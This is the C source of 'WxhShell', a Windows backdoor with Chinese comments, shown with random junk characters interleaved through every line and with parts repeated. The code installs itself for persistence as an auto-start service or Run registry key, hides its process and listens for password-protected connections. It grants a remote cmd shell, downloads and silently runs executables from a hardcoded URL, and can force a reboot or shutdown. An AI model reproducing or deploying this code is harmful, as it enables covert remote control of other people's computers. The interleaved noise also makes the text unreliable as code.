: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nr^p H. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6\K)\ ;1 fM L,8 if (!NtQueryInformationProcess) return 0; +x2xQ8#|~~
jZ;T&s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t]ZSo- if(!hProcess) return 0; !jbjrzv9 T,fz/5w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; meWAm?8RI ]3C8 CloseHandle(hProcess); V_pBM Vh8uE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5-*]PAC if(hProcess==NULL) return 0; 9wC; m : ||4Dtg
K HMODULE hMod; On^#x] char procName[255]; 1rEP)66N unsigned long cbNeeded; M@\'Y$)Y{ }0(
Na if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "J#:PfJ% "ir*;| CloseHandle(hProcess); "->:6Oe2 B(falmXJ if(strstr(procName,"services")) return 1; // 以服务启动 ||V:',#,W _+En%p.m return 0; // 注册表启动 )R4<*
/C:w } D6u>[Z[T .vO.g/o // 主模块 W<Lrfo&=Y] int StartWxhshell(LPSTR lpCmdLine) g$b*# { .IXwa, SOCKET wsl; Q\76jD`m\ BOOL val=TRUE; sfa'\6=O int port=0; +mQSlEo struct sockaddr_in door; z"3c+?2 R=PzR;8 if(wscfg.ws_autoins) Install(); eXK`%' 3p4?-Dd|_$ port=atoi(lpCmdLine); n lW&(cH `?x$J
6p if(port<=0) port=wscfg.ws_port; dK: " e`r;`a& WSADATA data; {P&^Erx if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o2 wY#mL1dF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ydQS"]\g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 16|S 0 ) door.sin_family = AF_INET; d]EvC> door.sin_addr.s_addr = inet_addr("127.0.0.1"); .TC
`\mV door.sin_port = htons(port); sd53 _sV b U NYTF{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t5h_Q92N closesocket(wsl); M>@R=f return 1; gQWX< } l #Q`f. )*h~dx_c m if(listen(wsl,2) == INVALID_SOCKET) { Wi^rnr'Ss closesocket(wsl); I?>T"nV +' return 1; )\vHIXnfJ1 } {R;M`EU> Wxhshell(wsl); yU,xcq~l WSACleanup(); P-[K*/bPw "\;wMR{ return 0; Bq@wS\W>b} ,rQ)TT } S:/RYT" Q/)ok$A& // 以NT服务方式启动 Aw;vg/#~md VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &Fjilx'k { T+R I8.#o DWORD status = 0; \_nmfTr!K DWORD specificError = 0xfffffff; b6&NzUt34V !"%sp6Wc serviceStatus.dwServiceType = SERVICE_WIN32; a
+yI2s4Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; !m(L0YH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I^(#\vRW serviceStatus.dwWin32ExitCode = 0; Aq%^>YAp serviceStatus.dwServiceSpecificExitCode = 0; @T1+b"TC serviceStatus.dwCheckPoint = 0; <0)ud)~u serviceStatus.dwWaitHint = 0; Ch"8cl;Fm g ypq`F hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S.|kg2 if (hServiceStatusHandle==0) return; FJ8@b Cfo 8gX* status = GetLastError(); dqA[|bV if (status!=NO_ERROR) ~h0BT(p/ { ([b!$o<v serviceStatus.dwCurrentState = SERVICE_STOPPED; D"4&9"C U serviceStatus.dwCheckPoint = 0; V9u\;5oL serviceStatus.dwWaitHint = 0; 86fK=G:> serviceStatus.dwWin32ExitCode = status; c[_^bs>k serviceStatus.dwServiceSpecificExitCode = specificError; T% 13 ' SetServiceStatus(hServiceStatusHandle, &serviceStatus); -MU.Hu return; heZy
66 } Q4Fq=kTE UvJuOh+ serviceStatus.dwCurrentState = SERVICE_RUNNING; DnsP7k.8T serviceStatus.dwCheckPoint = 0; &4&33D serviceStatus.dwWaitHint = 0; 4:&qTY)H if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F4E3c4
81 } kEhm' ct4 [b| // 处理NT服务事件,比如:启动、停止 i4zV( VOID WINAPI NTServiceHandler(DWORD fdwControl) Qy5Os?9" { D?yE$_3>c switch(fdwControl) H9VXsFTW { |\|)j>[i case SERVICE_CONTROL_STOP: b>=Wq serviceStatus.dwWin32ExitCode = 0; B$TChc3B serviceStatus.dwCurrentState = SERVICE_STOPPED; S=H_9io serviceStatus.dwCheckPoint = 0; +O$: serviceStatus.dwWaitHint = 0; BCUt`;q ]B { TT2cOw SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+"?,Ej$K } \DU^idp# return; M?xpwqu\ case SERVICE_CONTROL_PAUSE: gFs/012{ serviceStatus.dwCurrentState = SERVICE_PAUSED; @>fO;* break; >$naTSJq case SERVICE_CONTROL_CONTINUE: 4[#6<Ixf serviceStatus.dwCurrentState = SERVICE_RUNNING; \}Acq; break; /$9
:L case SERVICE_CONTROL_INTERROGATE: Fu4EEi break; 5rml Aq };
t'Eb#Nup3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); S6T!qH{6 } 7AO3-;
l] ]oeuIRyQ // 标准应用程序主函数 3g0u#t{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !/6\m!e|1R { b-BM"~N' #PslrA.
E // 获取操作系统版本 _2m[(P9d OsIsNt=GetOsVer(); yS)-&t!; GetModuleFileName(NULL,ExeFile,MAX_PATH); f `y"
a@ &{zwM |Q@? // 从命令行安装 p:JRQT"A if(strpbrk(lpCmdLine,"iI")) Install(); NFY|^*bll cophAP // 下载执行文件 7a:*Y"f,~ if(wscfg.ws_downexe) { 4@v1jJj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z|3`0eWIG WinExec(wscfg.ws_filenam,SW_HIDE); 22GnbA7O } =! N _^cb <AMb!?Obh if(!OsIsNt) { xvR?~ // 如果时win9x,隐藏进程并且设置为注册表启动 z1f^p7$M? HideProc(); 6Z(*cf/s StartWxhshell(lpCmdLine); 4ZI!,lv* } /v"6BU else 4=Tpi` if(StartFromService()) lf%b0na?r // 以服务方式启动 l:Dn3Q StartServiceCtrlDispatcher(DispatchTable); -DP8NTl" else d7"U WY^ // 普通方式启动 xH<'GB) StartWxhshell(lpCmdLine); +{xMIl_ / R_ u\?k( return 0; ;TL(w7vK } 0)d?Y ^\M
dl ,`<^F:xl \|2tTvW,0 =========================================== \6 \hnP K2cq97k,d 8jy-z"jc VQ`,#`wV rH9uGm-* w]};0v&\~s " cMD RWh s$DGd
T) #include <stdio.h> PZys u #include <string.h> jg[5UTkcs #include <windows.h> 8f?rEI\0GD #include <winsock2.h> LthGZ|> #include <winsvc.h> Dd| "iA #include <urlmon.h> +0]'| t F> g<fDY6jt #pragma comment (lib, "Ws2_32.lib") WP5VcBC #pragma comment (lib, "urlmon.lib") Bv^+d\*1 Z^s+vi #define MAX_USER 100 // 最大客户端连接数 3->,So0Y #define BUF_SOCK 200 // sock buffer y7/PDB\he #define KEY_BUFF 255 // 输入 buffer Yeqvv
4,2(nYF #define REBOOT 0 // 重启 3 brb*gI_b #define SHUTDOWN 1 // 关机 #G3` p!" 5 U%MoH #define DEF_PORT 5000 // 监听端口 '!!e+\h# 0$tjNye #define REG_LEN 16 // 注册表键长度 qAqoZMpI|; #define SVC_LEN 80 // NT服务名长度 R'zu"I |GtY*| // 从dll定义API /D0RC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8;TAb.r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t)9]<pN% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [s~JceUyX typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z<;U:aH?} zI:(33) // wxhshell配置信息 eUt=n)*` struct WSCFG { Pg/T^n& int ws_port; // 监听端口 UP\C"\ char ws_passstr[REG_LEN]; // 口令 5MxH)~VQoM int ws_autoins; // 安装标记, 1=yes 0=no 4otl_l(`yv char ws_regname[REG_LEN]; // 注册表键名 GuT6K}~|D char ws_svcname[REG_LEN]; // 服务名 O#Z/+\U char ws_svcdisp[SVC_LEN]; // 服务显示名 BDy5J2<<7l char ws_svcdesc[SVC_LEN]; // 服务描述信息 t05_Px!mW char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RdgVBG#Z1 int ws_downexe; // 下载执行标记, 1=yes 0=no X8Xn\E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VJDoH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v
dU%R\ a9=> r }; 8lwFAiC8 h3kaD // default Wxhshell configuration CM9 XPr struct WSCFG wscfg={DEF_PORT, |QVr`tE< "xuhuanlingzhe", !tU'J"Zy 1, !6H uFf "Wxhshell", b6"}"bG "Wxhshell", L}$z/jo "WxhShell Service", ocF>LR%P "Wrsky Windows CmdShell Service", RvyuGU "Please Input Your Password: ", ,h^r:g 1, {)xWD% "http://www.wrsky.com/wxhshell.exe",
:Hk_8J "Wxhshell.exe" %x2uP9 }; l&L,7BX yl$F~e1W // 消息定义模块 yHNuU)Ft char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SWs3SYJ\ char *msg_ws_prompt="\n\r? for help\n\r#>"; &vkjmiAS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ([R")~`(l2 char *msg_ws_ext="\n\rExit."; ]tB@kBi " char *msg_ws_end="\n\rQuit."; ,[isib3 char *msg_ws_boot="\n\rReboot..."; YLOwQj' char *msg_ws_poff="\n\rShutdown..."; q8>t!rh<R char *msg_ws_down="\n\rSave to "; S/4r\6 @vRwzc\ char *msg_ws_err="\n\rErr!"; ]78!!G[` char *msg_ws_ok="\n\rOK!"; pYo=oI KVR~jF% char ExeFile[MAX_PATH]; <sX VW int nUser = 0; K]/Od HANDLE handles[MAX_USER]; h?Nek+1' int OsIsNt; *%!M4&
l{$[}< SERVICE_STATUS serviceStatus; GqLq gns SERVICE_STATUS_HANDLE hServiceStatusHandle; {6*#3m
Kk "uKFOV?j& // 函数声明 83 I-X95 int Install(void); kz B\'m,l int Uninstall(void); 6e&$l- int DownloadFile(char *sURL, SOCKET wsh); ^lj7( int Boot(int flag); aD9q^EoEs void HideProc(void); Wd8Ru/ int GetOsVer(void); Gb2L } int Wxhshell(SOCKET wsl); 4^*,jS-9g} void TalkWithClient(void *cs); q.Jsf+ int CmdShell(SOCKET sock); ])w[ int StartFromService(void); h2~4G)J int StartWxhshell(LPSTR lpCmdLine); 9b"MQ[B4#a UDEj[12S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tfYB _N VOID WINAPI NTServiceHandler( DWORD fdwControl ); _=EKXE)&} 6>`c1
\8f // 数据结构和表定义 O_;Dk W SERVICE_TABLE_ENTRY DispatchTable[] = IP3E9z_L { bsS:"/?> {wscfg.ws_svcname, NTServiceMain}, T2FE+ A]n9 {NULL, NULL} J?&l*_m;t }; Kj3?ve~ DinPxtT?a // 自我安装 YKZa$@fA? int Install(void) @1-F^G%p8 { z6*<V5<7 char svExeFile[MAX_PATH]; 3jZ6kfj HKEY key; Y32 "N[yw strcpy(svExeFile,ExeFile); R=]d%L8 Bv6K$4 // 如果是win9x系统,修改注册表设为自启动 Hfym30 if(!OsIsNt) { N&,]^>^u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fv!?Ga( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -/P\"c RegCloseKey(key); .}B(&*9,v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X4|4QgY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x =q;O+7] RegCloseKey(key); ~" i0x return 0; 1}%B%*N } T/1gI9X }
rl08R } pkgjTXR2b else { lIRlMLuG "IQ/LbOqm_ // 如果是NT以上系统,安装为系统服务 =elpH^N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZcJ\ZbE| if (schSCManager!=0) hk[
%a$Y { Oz:
*LZ SC_HANDLE schService = CreateService r^Zg-|gr ( Ztr Cv? schSCManager, _hu")os wscfg.ws_svcname, TZR)C P5 wscfg.ws_svcdisp, %McE`155 SERVICE_ALL_ACCESS, Az;t" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *{
{b~$ SERVICE_AUTO_START, Ho;X4lo[j SERVICE_ERROR_NORMAL, `Ag{) svExeFile, -G7TEq) NULL, $D'-k]E[H NULL, W2FD+ wt NULL, <r#eL39I NULL, Vw|| !d NULL m,UGWR ); :a
->0 l if (schService!=0) pi<TFe@eG { anMF-x4/*q CloseServiceHandle(schService); R_XR4)(< CloseServiceHandle(schSCManager); ?W^c4NtP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); , EGQ@:3/ strcat(svExeFile,wscfg.ws_svcname); KGH/^!u+R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y){
k3lm0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eq(am%3~ RegCloseKey(key); #P
l~R return 0; ?=m?jNa;nC } _8Kx6s% } if|+EN% CloseServiceHandle(schSCManager); ?HF%(>M } "j;4
k.`h }
)M6w5g Q8!)!r% return 1; $hivlI-7Ko } 4RSHZAJg OQW#a[=WQ // 自我卸载 T}V!`0vKw int Uninstall(void) x=ul&|^7D { qlL`jWJ HKEY key; ]o cWt3| UfN&v >8f if(!OsIsNt) { uwz)($~bp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L#E]
BY RegDeleteValue(key,wscfg.ws_regname); yKYTi3_( RegCloseKey(key); rM'=_nmi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xx[9~z=d RegDeleteValue(key,wscfg.ws_regname); ZI= %JU( RegCloseKey(key); "@??Fw! return 0; ne4Q#P } {r@Ty*W}
L } gw,UQbnu } kS bu]AB else { emCM\|NQg& :xtXQza"- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0NS<?p~_S if (schSCManager!=0) :2
*g~6 { ^$b Y,CE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6
J{k(H$3 if (schService!=0) {NHdyc$ { DRcNdO/1E if(DeleteService(schService)!=0) { ;kY(<{ 2 CloseServiceHandle(schService); &*+'>UEe5 CloseServiceHandle(schSCManager); "rx-_uK* return 0; O^oWG&Y;v } mV3cp rRqv CloseServiceHandle(schService); O8h%3& } !\7!3$w'8, CloseServiceHandle(schSCManager); 9I&xfvD, } zd@m~V } Wf|Q$MHos ;lHr =e7 return 1; 5`~PR
:dN } IZpP[hov 7pe\M/kl // 从指定url下载文件 ZrsBm_Rx int DownloadFile(char *sURL, SOCKET wsh)
/;oX)]W { gt@m?w( HRESULT hr; kqFP)!37 char seps[]= "/"; '<"s \, char *token; @7IIM{ char *file; `@`CG[-9 char myURL[MAX_PATH]; 3kybLOG char myFILE[MAX_PATH]; )h7<?@wv& SLa>7`<Q strcpy(myURL,sURL); ?l9XAWt\ token=strtok(myURL,seps); hb}+A=A=+ while(token!=NULL) 1`=nWy=' { 1q7|OWFT file=token; Zy`m!]G]80 token=strtok(NULL,seps); h1de[q) } 16=sij%A Sc;BCl{=| GetCurrentDirectory(MAX_PATH,myFILE); 4K\G16'$v strcat(myFILE, "\\"); 8Vr%n2M strcat(myFILE, file); o~`/_+ send(wsh,myFILE,strlen(myFILE),0); nLXlU*ES send(wsh,"...",3,0); fdFo# P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `sn^ysp if(hr==S_OK) 4h|c<-`>t return 0; k>;`FFQU> else ].-1v5 return 1; nT7%j{e=L EJMM9(DQ7 } H?yK~bGQ k\5c|Wq|g // 系统电源模块 ~%<X0s| int Boot(int flag) 9jM}~XvV { H\ F:95 HANDLE hToken; >*35C`^ TOKEN_PRIVILEGES tkp; (A9Fhun 0X6YdW _2X if(OsIsNt) { +^60T$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TM%|'^) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OP[@k tkp.PrivilegeCount = 1; )_YX DU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9X}10u: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]_f_w9] if(flag==REBOOT) { &."iFe if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Vc6Gwm return 0; M?1Y,5 } 'j#*6xD else { ~Y^+M* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sc]B#/~B return 0; +}Dw3;W}m } xQ7l~O
b } fDv2JdiU else { V5+=e^pa2 if(flag==REBOOT) { s}vAS~~2L3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3c-GY:VkLM return 0; ~~D{spMVO } ZgTW.<.%2 else { {'7B6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u-QB.iQ+s return 0; G/)O@Ugp } o_izl\ } i1 }:8Unxf 3Z>Ux3[ return 1; P78g/p T } @ a! #G Dj"F\j 1 // win9x进程隐藏模块 NVkV7y X] void HideProc(void) `KZm0d{H { 5'OrHk;u 3#LlDC_WC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %z=le7 if ( hKernel != NULL ) E>6MeO { uy>q7C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k
=>oO9` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =x/X:;)> FreeLibrary(hKernel); =Qy<GeY } j*|VctM {5Q!Y&N.% return; =*oJEy" } (d(CT; 1KU!
tL // 获取操作系统版本 )v'WWwXY> int GetOsVer(void) l0|5t)jF- { LP.]9ut OSVERSIONINFO winfo; .yoH/2h winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O%\*@4zM GetVersionEx(&winfo); fBU`k_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6_(&6]}66 return 1; =>m<GvQz else {a =#B)6 return 0; W_JlOc!y } * `JYC 2R[:]-b // 客户端句柄模块 #$.;'#u'so int Wxhshell(SOCKET wsl) 4S7v:1~xe { GV1pn) 4 SOCKET wsh; lt/1f{v[: struct sockaddr_in client; p'Y^X DWORD myID; [F+}V, 'lH|eU&- while(nUser<MAX_USER) Ugr!"Q#M { %aP!hy int nSize=sizeof(client); {B~QQMEow wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9=s<Ld if(wsh==INVALID_SOCKET) return 1; ko!)s kXViWOXU^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EfqX
y>W if(handles[nUser]==0) N"Z{5A closesocket(wsh); ,<.V7(|t) else 49eD1h3'X[ nUser++; 2_>N/Z4T } :@yEQ#nFp WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1v y*{D C2!|OQ9A2 return 0; QL(n} {.% } )L? P}$+ ,Co|-DYf} // 关闭 socket 6 W/`07' void CloseIt(SOCKET wsh) :'Vf
g[Uq { BT !^~S%w closesocket(wsh); TP*hd nUser--; vz&|J
ExitThread(0); _YRFet[,m } z 'Hw ;[ZEDF5H // 客户端请求句柄 j;zM{qu_ void TalkWithClient(void *cs) /l3V3B7 { 7^avpf)> Y/F6\oh SOCKET wsh=(SOCKET)cs; dRYqr}!%n char pwd[SVC_LEN]; R*,MfV char cmd[KEY_BUFF]; w?L6!) oiz char chr[1]; #<fRE"v:Q int i,j;
l]5KN RU|Q]Ymx while (nUser < MAX_USER) { 1er
TldX }CSDV9).S if(wscfg.ws_passstr) { 9
ql~q if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U gat1Pz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 70d 1ReQ //ZeroMemory(pwd,KEY_BUFF); hPkp;a # i=0; =IZT(8 while(i<SVC_LEN) { ,)cM3nu L(6d&t'|-R // 设置超时 %uDi#x. fd_set FdRead; gT.sjd struct timeval TimeOut; C[cbbp FD_ZERO(&FdRead); .^`{1% FD_SET(wsh,&FdRead); yX>K/68 TimeOut.tv_sec=8; u,ho7ht3( TimeOut.tv_usec=0; WCZjXDiwJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :U|1 xgB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B`)BZ,#p u[;\y|75 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l:~/<`o pwd=chr[0]; K8|r&`X0 if(chr[0]==0xd || chr[0]==0xa) { ,L2ZinU: pwd=0; dlh)gp; break; s[>,X#7 y } v4TQX<0s i++; <d Wv?<o } +HpA:]#Y tU5zF.% // 如果是非法用户,关闭 socket #lo6c;*m5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KfEx"94 } 0],r0 NG=-NxEcN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :`#d:.@]o@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QO:!p5^: /{J4:N'B> while(1) { rBzuKQK}J rgQOj^xKv^ ZeroMemory(cmd,KEY_BUFF); ?=msH=N<l "S]0 // 自动支持客户端 telnet标准 )r?}P1J7 j=0; xj)F55e? while(j<KEY_BUFF) { $99n&t$Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C==hox7b cmd[j]=chr[0]; hh%-(HaLX3 if(chr[0]==0xa || chr[0]==0xd) { B"w?;EeV. cmd[j]=0; a5^]20Fa break; sE<V5`Z= } 7aRi5 j++; !*&V-4 } ?p{Nwl# Y] _ruDIW // 下载文件 qA7>vi% if(strstr(cmd,"http://")) { K7B/s9/xs send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;`4&Rm9n? if(DownloadFile(cmd,wsh)) M/'sl; send(wsh,msg_ws_err,strlen(msg_ws_err),0); O63<AY@ else .VJMz4$]O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1 8hxXE3 } re?,Wext\ else { .G.0WR/2 `AtBtjs RV switch(cmd[0]) { IMFDM."s t|\%VC // 帮助 I*{nP)^9 case '?': { dL 1tl send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4[r0G+ break; uBKgcpvTs } 5lmHotj# // 安装 kCF>nt@ case 'i': { ?
(Oy\ if(Install()) (`>+zT5aH send(wsh,msg_ws_err,strlen(msg_ws_err),0); xh,qNnGGi else kx{{_w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @})|Z}~ break; J?1 uKR } =[{i{x|Qz // 卸载 sqwGsO$# case 'r': { jXx<`I+] if(Uninstall()) Yui3+}Ms send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQs)O<jl else 8 +/rlHp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (0r3/t?DQ break; L.2^`mZs } K(rWNO // 显示 wxhshell 所在路径 _ QI\ case 'p': { z+wA
rPxc char svExeFile[MAX_PATH]; !u[9a;Sa# strcpy(svExeFile,"\n\r"); CS5?Ti6 strcat(svExeFile,ExeFile); / }X1W send(wsh,svExeFile,strlen(svExeFile),0); #e1>H1eU break; P>C~
i:4n } u;"TTN // 重启 &K.d'$q case 'b': { Qh3YJ=X& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ||= )d& if(Boot(REBOOT)) rig,mv send(wsh,msg_ws_err,strlen(msg_ws_err),0); o Q2Fjj else { `Bp.RXsd* closesocket(wsh); *uf'zQ<9 ExitThread(0); 8 &LQzwa } +b<FO+E_ break; $E~`\o%Ev } _\G"9,)u' // 关机 L|:`^M+^w case 'd': { i2Qz4 $z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7
:x fPx if(Boot(SHUTDOWN)) n8
i] z send(wsh,msg_ws_err,strlen(msg_ws_err),0); KIf dafRL else { c
/HHy, closesocket(wsh); =_2jK0+}l ExitThread(0); |(E
FY\ } mbxZL<ua break; C.yQ=\U2 } HGs $* // 获取shell @/.;Xw] case 's': { 6+|do+0Icg CmdShell(wsh); f!uw zHA`? closesocket(wsh); TH&U
j1 ExitThread(0); _Xc8Yg }` break; R6Km\N } z6=Z\P+ // 退出 _[c0)2h case 'x': { { ]{/t-= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Eu d*_>| CloseIt(wsh); 5y[Oj^ break; ThajHK|U } H9`)BbR // 离开 %KlrSo case 'q': { x.!V^HQSN send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZF9z~9 closesocket(wsh); v\gLWq' WSACleanup(); 5oW!YJg exit(1); g0=z&2Q[_) break; P|tO<t6/9* } *xxx:*6rk; } KE5kOU; } q]ku5A\y kW Ml // 提示信息 :Uzm
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x;P_1J%Q } mZS
>O_E } y|i,| fP
1[[3i return; )Xz,j9GzJS } JxdDC^> 0 s 8jV(P(O // shell模块句柄 "Y
=;.:qe int CmdShell(SOCKET sock) _ @NL;w:! { kzQ+j8.,U STARTUPINFO si; GX!G> ZeroMemory(&si,sizeof(si)); pHXm>gTd,J si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jUYWrYJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 45@ I *` PROCESS_INFORMATION ProcessInfo; SuJ aL-; char cmdline[]="cmd"; ar!R|zmf CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N]Yd9tn{ return 0; #C74z$ } h,u,^ r ,F8 Yn5h // 自身启动模式 / |;RV" int StartFromService(void) Ct <udO { Pe_W;q. typedef struct GbY7_N
{ .nf#c.DI DWORD ExitStatus; q.^;!f1 DWORD PebBaseAddress; T\6dm/5 DWORD AffinityMask; -n~1C{< DWORD BasePriority; $kdB |4C ULONG UniqueProcessId; 7?!d^$B ULONG InheritedFromUniqueProcessId; Tj`,Z5vy } PROCESS_BASIC_INFORMATION; 5K1)1E/Fu bivuqKA PROCNTQSIP NtQueryInformationProcess; .,|G7DGH] m/@wh a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k<nZ+! M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,GhS[VJjR
,h m\
HANDLE hProcess; YlJ@XpKM PROCESS_BASIC_INFORMATION pbi; lV3x *4O= e{'BAj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wq D4YGN if(NULL == hInst ) return 0; "rALt~AX } ^~F| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7FP*oN? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b4%??"&<Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T8?Ghbn ;RZ ) if (!NtQueryInformationProcess) return 0; .Bl\Z hIYNhZv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S1T"Z{$ if(!hProcess) return 0; <yV"6/l0 ,i^9 |Oeq if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1sy[@Q2b G{As,`{ CloseHandle(hProcess); ih-#5M@ //up5R_nx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kYE9M8s; if(hProcess==NULL) return 0; >4x(e\B { T/[cu< HMODULE hMod; T=
